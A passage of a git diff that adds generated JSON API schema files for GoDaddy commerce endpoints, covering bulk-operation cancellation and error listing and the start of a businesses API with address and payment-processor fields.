"https://godaddy.com/schemas/commerce/bulk-ingestions/bulk-operation.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A bulk operation object", + "properties": { + "canceledAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "completedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "entityType": { + "default": "PRODUCT", + "description": "The type of the entity, currently only accepts PRODUCT", + "type": "string" + }, + "errorCount": { + "default": 0, + "description": "The error count of the bulk operation", + "type": "integer" + }, + "href": { + "description": "The href of the bulk operation", + "example": "/v1/commerce/stores/:storeId/products/:productId", + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "method": { + "default": "PATCH", + "description": "The method of the bulk operation, currently accepts PATCH, PUT, and \nDELETE\n", + "type": "string" + }, + "processedCount": { + "default": 0, + "description": "The processed count of the bulk operation", + "type": "integer" + }, + "resourceId": { + "description": "The unique identifier for the resource", + "type": "string" + }, + "resourceType": { + "default": "STORE", + "description": "The type of the resource, currently only accepts STORE", + "type": "string" + }, + "results": { + "description": "The results for this individual bulk operation request, only used \nwhen the bulk operation is processed synchronously\n", + "type": "array" + }, + "status": { + "default": "PROCESSING", + "description": "The status of the bulk operation, can be PROCESSING, COMPLETED, \nCANCELED, or FAILED\n", + "type": "string" + }, + "totalCount": { + "default": 0, + "description": "The total count of the bulk operation", + "type": "integer" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "title": "Bulk Operation", + "type": "object" + } + }, + "type": "object" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "400": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + } + }, + "scopes": [] + }, + { + "operationId": "delete_v1_commerce_stores_storeId_bulk_operations_bulkOperationId", + "method": "DELETE", + "path": "/v1/commerce/stores/{storeId}/bulk-operations/{bulkOperationId}", + "summary": "Cancel a bulk operation", + "description": "Cancel an ongoing bulk operation", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The Store ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "bulkOperationId", + "in": "path", + "required": true, + "description": "The Bulk Operation ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + } + ], + "responses": { + "500": { + "description": "Internal server error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "204": { + "description": "Bulk operation cancelled", + "schema": { + "properties": { + "bulkOperation": { + "$id": "https://godaddy.com/schemas/commerce/bulk-ingestions/bulk-operation.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A bulk operation object", + "properties": { + "canceledAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "completedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "entityType": { + "default": "PRODUCT", + "description": "The type of the entity, currently only accepts PRODUCT", + "type": "string" + }, + "errorCount": { + "default": 0, + "description": "The error count of the bulk operation", + "type": "integer" + }, + "href": { + "description": "The href of the bulk operation", + "example": "/v1/commerce/stores/:storeId/products/:productId", + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "method": { + "default": "PATCH", + "description": "The method of the bulk operation, currently accepts PATCH, PUT, and \nDELETE\n", + "type": "string" + }, + "processedCount": { + "default": 0, + "description": "The processed count of the bulk operation", + "type": "integer" + }, + "resourceId": { + "description": "The unique identifier for the resource", + "type": "string" + }, + "resourceType": { + "default": "STORE", + "description": "The type of the resource, currently only accepts STORE", + "type": "string" + }, + "results": { + "description": "The results for this individual bulk operation request, only used \nwhen the bulk operation is processed synchronously\n", + "type": "array" + }, + "status": { + "default": "PROCESSING", + "description": "The status of the bulk operation, can be PROCESSING, COMPLETED, \nCANCELED, or FAILED\n", + "type": "string" + }, + "totalCount": { + "default": 0, + "description": "The total count of the bulk operation", + "type": "integer" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "title": "Bulk Operation", + "type": "object" + } + }, + "type": "object" + } + }, + "400": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + } + }, + "scopes": [] + }, + { + "operationId": "get_v1_commerce_stores_storeId_bulk_operations_bulkOperationId_errors", + "method": "GET", + "path": "/v1/commerce/stores/{storeId}/bulk-operations/{bulkOperationId}/errors", + "summary": "Get bulk operation errors", + "description": "Get errors during a bulk operation", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The Store ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "bulkOperationId", + "in": "path", + "required": true, + "description": "The Bulk Operation ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "pageSize", + "in": "query", + "required": false, + "schema": { + "format": "int32", + "minimum": 1, + "type": "integer" + } + }, + { + "name": "pageToken", + "in": "query", + "required": false, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Successfully retrieved bulk operation errors", + "schema": { + "properties": { + "errors": { + "items": { + "$id": "https://godaddy.com/schemas/commerce/bulk-ingestions/bulk-operation-item.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A bulk operation item object", + "properties": { + "bulkOperationId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "canceledAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "error": { + "$id": "https://godaddy.com/schemas/common/error.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "definitions": { + "error-details": { + "$id": "https://godaddy.com/schemas/common/error-details.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The error details. Required for client-side `4XX` errors.", + "properties": { + "description": { + "description": "The human-readable description for an issue. The description MAY change over the lifetime of an API, so clients MUST NOT depend on this value.", + "type": "string" + }, + "field": { + "description": "The field that caused the error. If the field is in the body, set this value to the JSON pointer to that field. Required for client-side errors.", + "type": "string" + }, + "issue": { + "description": "The unique fine-grained application-level error code.", + "type": "string" + }, + "location": { + "default": "body", + "description": "The location of the field that caused the error. Value is `body`, `path`, or `query`.", + "type": "string" + }, + "value": { + "description": "The value of the field that caused the error.", + "type": "string" + } + }, + "required": [ + "issue" + ], + "title": "Error Details", + "type": "object" + }, + "link-description": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + } + }, + "description": "The error information.", + "properties": { + "correlationId": { + "description": "Internal identifier used for correlation purposes.", + "type": "string" + }, + "details": { + "additionalItems": false, + "description": "An array of additional details about the error. Required for client-side `4XX` errors.", + "items": { + "$ref": "./error-details.yaml" + }, + "type": "array" + }, + "informationLink": { + "description": "The URI for detailed information related to this error for the developer.", + "type": "string" + }, + "links": { + "description": "An array of error-related HATEOAS links.", + "items": { + "$ref": "./link-description.yaml" + }, + "readOnly": true, + "type": "array" + }, + "message": { + "description": "The message that describes the error.", + "type": "string" + }, + "name": { + "description": "The human-readable, unique name of the error.", + "type": "string" + } + }, + "required": [ + "name", + "correlationId", + "message" + ], + "title": "Error", + "type": "object" + }, + "href": { + "description": "The href of the bulk operation", + "example": "/v1/commerce/stores/:storeId/products/:productId", + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "processedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "resourceId": { + "description": "The unique identifier for the resource", + "type": "string" + }, + "status": { + "default": "PROCESSING", + "description": "The status of the bulk operation item, can be PROCESSING, COMPLETED, \nCANCELED, or FAILED\n", + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "title": "Bulk Operation Item", + "type": "object" + }, + "type": "array" + }, + "links": { + "description": "The links", + "items": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "type": "array" + }, + "pageToken": { + "description": "The page token", + "type": "string" + } + }, + "type": "object" + } + }, + "400": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + } + }, + "scopes": [] + } + ] +} \ No newline at end of file diff --git a/rust/schemas/api/businesses.json b/rust/schemas/api/businesses.json new file mode 100644 index 0000000..3cc7e95 --- /dev/null +++ b/rust/schemas/api/businesses.json @@ -0,0 +1,3530 @@ +{ + "name": "businesses", + "title": "Commerce Business API", + "description": "This API is capable of creating, updating, deleting and fetching businesses based on parameters such as a businessId and attributeName.", + "version": "2.1.0", + "baseUrl": "https://api.godaddy.com/v2/commerce", + "endpoints": [ + { + "operationId": "getBusinesses", + "method": "GET", + "path": "/businesses", + "summary": "Get all businesses", + "description": "This endpoint can be used to obtain a list of all the available bussinesses for a specific organization.", + "parameters": [ + { + "name": "X-Request-Id", + "in": "header", + "required": false, + "description": "Request ID", + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "page", + "in": "query", + "required": false, + "schema": { + "default": 1, + "type": "integer" + } + }, + { + "name": "pageSize", + "in": "query", + "required": false, + "schema": { + "default": 10, + "type": "integer" + } + }, + { + "name": "totalRequired", + "in": "query", + "required": false, + "schema": { + "default": false, + "type": "boolean" + } + }, + { + "name": "includeFields", + "in": "query", + "required": false, + "description": "This is the list of fields that will be included in the response", + "schema": { + "items": { + "type": "string" + }, + "type": "array" + } + }, + { + "name": "If-Modified-Since", + "in": "header", + "required": false, + "description": "Check if the data has been modified since a given date", + "schema": { + "format": "date-time", + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Business List", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/business-list.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing a list of Businesses", + "properties": { + "items": { + "description": "Array containing the current page of Businesses", + "items": { + "$id": "https://godaddy.com/schemas/commerce/business.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Business resource represents a merchant business", + "properties": { + "activeSince": { + "description": "This is a response only field. It is set internally and returned in response. The time (in ISO-8601 format) at which the first terminal at the business was activated. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "type": "string" + }, + "address": { + "$id": "https://godaddy.com/schemas/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" + } + }, + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + }, + "attributes": { + "$id": "https://godaddy.com/schemas/commerce/business/dictionary.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "businessUrl": { + "description": "The url of the business' website.", + "format": "uri", + "maxLength": 1024, + "type": "string" + }, + "closedAt": { + "description": "Details on when the business was closed.", + "format": "date-time", + "type": "string" + }, + "closingDetails": { + "description": "Details on why the business was closed.", + "type": "string" + }, + "closingReason": { + "description": "The reason why the business was closed.", + "enum": [ + "TERMINATED", + "CHURNED", + "DUPLICATE" + ], + "type": "string" + }, + "createdAt": { + "description": "Creation time of the business.", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "description": { + "description": "A short description of the business.", + "maxLength": 512, + "type": "string" + }, + "doingBusinessAs": { + "description": "The name the business likes to be known as.", + "maxLength": 128, + "type": "string" + }, + "domicileCountry": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "emailAddress": { + "description": "The main business email address.", + "maxLength": 512, + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "industryType": { + "deprecated": true, + "description": "The industry type that this business belongs to. (Retail, Restaurant, Lodging, MOTO etc.)", + "readOnly": true, + "type": "string" + }, + "legalName": { + "description": "The legal name of the business.", + "maxLength": 128, + "type": "string" + }, + "logoUrl": { + "description": "The business' main logo url.", + "format": "uri", + "maxLength": 1024, + "type": "string" + }, + "mcc": { + "description": "The merchant category code of the business in ISO 18245:2023 format (Refer https://www.citibank.com/tts/solutions/commercial-cards/assets/docs/govt/Merchant-Category-Codes.pdf)", + "maxLength": 16, + "type": "string" + }, + "organizationId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "ownerId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "paymentDetails": { + "$id": "https://godaddy.com/schemas/commerce/business-payment-details.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "deprecated": true, + "description": "Contains payment details used by the business.", + "properties": { + "acquirer": { + "$id": "https://godaddy.com/schemas/commerce/business-processor.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Processor to be used by business", + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "title": "Business Payment Processor", + "type": "string" + }, + "externalMerchantId": { + "description": "This is the unique identifier assigned by the acquirer to the business. It is a business level MID.", + "type": "string" + }, + "processor": { + "$id": "https://godaddy.com/schemas/commerce/business-processor.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Processor to be used by business", + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "title": "Business Payment Processor", + "type": "string" + }, + "processorData": { + "$id": "https://godaddy.com/schemas/commerce/business/dictionary.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "underwritingLevel": { + "description": "The application level of the business for underwriting.", + "enum": [ + "BASIC", + "FULL" + ], + 